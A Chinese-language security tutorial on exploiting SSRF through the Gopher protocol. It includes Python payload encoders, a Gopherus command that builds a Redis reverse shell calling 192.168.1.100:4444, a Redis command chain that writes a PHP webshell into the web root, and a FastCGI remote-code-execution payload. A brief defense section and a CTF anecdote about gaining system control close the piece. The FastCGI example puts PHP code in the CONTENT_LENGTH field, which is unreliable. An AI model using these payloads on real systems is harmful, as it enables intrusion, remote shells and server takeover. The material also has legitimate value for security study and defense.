别再只盯着file://了！Gopher协议在SSRF中的高级利用与自动化Payload生成
Gopher协议：SSRF攻击中的隐秘利器与自动化实战
在安全研究领域，Gopher协议常被称为"被遗忘的瑞士军刀"。这个诞生于1991年的古老协议，在现代Web安全中焕发出新的生命力。不同于常见的HTTP/HTTPS协议，Gopher能够通过单一TCP连接传输多种协议数据，这种特性使其成为SSRF攻击中绕过限制的绝佳载体。
1. Gopher协议深度解析
Gopher协议的设计初衷是作为HTTP的前身，提供简单的文档检索功能。但它的协议灵活性远超设计者的想象——Gopher客户端会原样发送所有跟在URL路径后的内容到目标服务器。这意味着我们可以通过精心构造的Payload，让服务器执行非预期的操作。
关键协议特性：
- 默认使用70端口（可自定义）
- 支持TCP流式传输
- 不强制要求特定数据格式
- 自动处理连接建立和关闭
当应用于SSRF场景时，Gopher的独特优势显现出来：
gopher://<host>:<port>/_<TCP流数据>其中的_符号后的内容会被直接作为TCP流发送。通过这种方式，我们可以构造任意协议的通信数据，包括：
- HTTP GET/POST请求
- Redis命令
- FastCGI通信
- SMTP邮件发送
2. 手动构造Gopher Payload的核心技术
2.1 HTTP请求的精确构造
以发送POST请求为例，原始HTTP包如下：
POST /api/v1/login HTTP/1.1 Host: vulnerable.internal Content-Type: application/x-www-form-urlencoded Content-Length: 29 username=admin&password=p@ssw0rd转换为Gopher格式需要三个关键步骤：
- 行尾规范化：将所有换行符(
\n)替换为\r\n - 特殊字符编码：对空格、问号等特殊字符进行URL编码
- 二次编码：对整个TCP流数据进行URL编码
使用Python实现的转换代码：
import urllib.parse http_request = """POST /api/v1/login HTTP/1.1\r Host: vulnerable.internal\r Content-Type: application/x-www-form-urlencoded\r Content-Length: 29\r \r username=admin&password=p@ssw0rd\r """ # 第一次URL编码 stage1 = urllib.parse.quote(http_request) # 替换单换行为CRLF stage2 = stage1.replace('%0A', '%0D%0A') # 第二次URL编码 final_payload = 'gopher://127.0.0.1:80/_' + urllib.parse.quote(stage2) print(final_payload)2.2 多协议支持的实现原理
Gopher的强大之处在于它不关心传输内容的实际协议。下表展示了不同服务对应的Payload构造要点：
| 目标服务 | 协议特征 | 关键构造点 | 典型利用场景 |
|---|---|---|---|
| HTTP服务 | 遵循RFC标准格式 | 严格处理Header结束符 | 绕过SSRF限制 |
| Redis | 使用RESP协议格式 | 正确构造数组类型命令 | 未授权访问 |
| FastCGI | 二进制协议格式 | 精确计算请求长度 | RCE漏洞利用 |
| SMTP | 命令响应模式 | 处理多阶段交互 | 内网邮件伪造 |
3. 自动化工具链实战分析
3.1 Gopherus工具深度使用
Gopherus是目前最成熟的Gopher Payload生成工具，支持多种后端服务：
# 安装Gopherus git clone https://github.com/tarunkant/Gopherus cd Gopherus chmod +x gopherus.py # 生成Redis反弹Shell Payload ./gopherus.py --redis --shell "nc -e /bin/sh 192.168.1.100 4444" # 生成FastCGI RCE Payload ./gopherus.py --fastcgi --command "id" --file "/var/www/html/index.php"工具内部实现原理值得研究：
- 协议模板库维护各种服务的标准通信格式
- 动态替换关键参数（命令、路径等）
- 自动处理编码和格式化要求
- 提供交互式调试模式
3.2 自定义工具开发要点
对于特殊场景，可能需要开发定制化工具。核心模块应包括：
- 协议分析器：解析目标服务通信规范
- 模板引擎：支持变量替换的模板系统
- 编码器：多层编码转换处理器
- 验证器：检查生成Payload的有效性
一个简单的Python实现框架：
class GopherGenerator: def __init__(self, target, port): self.target = target self.port = port def make_http(self, method, path, headers, body): request = f"{method} {path} HTTP/1.1\r\n" for k, v in headers.items(): request += f"{k}: {v}\r\n" request += "\r\n" + body return self._encode(request) def _encode(self, payload): stage1 = urllib.parse.quote(payload) stage2 = stage1.replace('%0A', '%0D%0A') return f"gopher://{self.target}:{self.port}/_{urllib.parse.quote(stage2)}"4. 高级攻击场景实战
4.1 Redis未授权访问利用
典型攻击链示例：
- 通过SSRF检测Redis服务
- 生成配置修改Payload：
CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SET payload "<?php system($_GET['cmd']);?>" SAVE - 转换为Gopher格式二次编码
- 通过漏洞点发送Payload
关键点在于正确处理Redis的RESP协议格式，每条命令需要转换为：
*<参数个数>\r\n$<参数长度>\r\n<参数>\r\n4.2 FastCGI RCE漏洞利用
利用条件：
- 发现内网FastCGI服务
- 知道目标网站的一个PHP文件路径
攻击步骤：
- 构造恶意的PHP_VALUE环境变量
- 设置auto_prepend_file为php://input
- 在请求body中包含PHP代码
- 精确计算每个消息体的长度字段
一个典型的Payload结构：
{'FCGI_ROLE': 'RESPONDER', 'PHP_VALUE': 'auto_prepend_file = php://input', 'SCRIPT_FILENAME': '/var/www/html/index.php', 'REQUEST_METHOD': 'POST', 'CONTENT_TYPE': 'application/x-www-form-urlencoded', 'CONTENT_LENGTH': '<?php system("id");?>'}5. 防御策略与检测方法
面对Gopher协议的SSRF攻击，防御需要多层防护：
基础防护层：
- 禁用非必要协议（file、gopher等）
- 实施严格的URL白名单校验
- 过滤特殊字符和编码形式
高级检测层：
- 网络层流量分析检测异常协议
- 应用层输入验证检查编码特征
- 行为分析识别异常内部请求
运维实践建议：
- 定期更新依赖库修复已知漏洞
- 最小化内部服务网络暴露面
- 实施严格的网络分区策略
- 监控异常的内部服务请求日志
在CTF比赛中，Gopher协议的妙用往往能突破常规限制。某次实战中，通过精心构造的Gopher Payload，我们成功利用一个看似无害的URL参数，实现了从SSRF到内网Redis服务的横向移动，最终获取了系统控制权。这种攻击手法的优雅之处在于，它利用了系统设计本身的特性，而非明显的漏洞实现突破。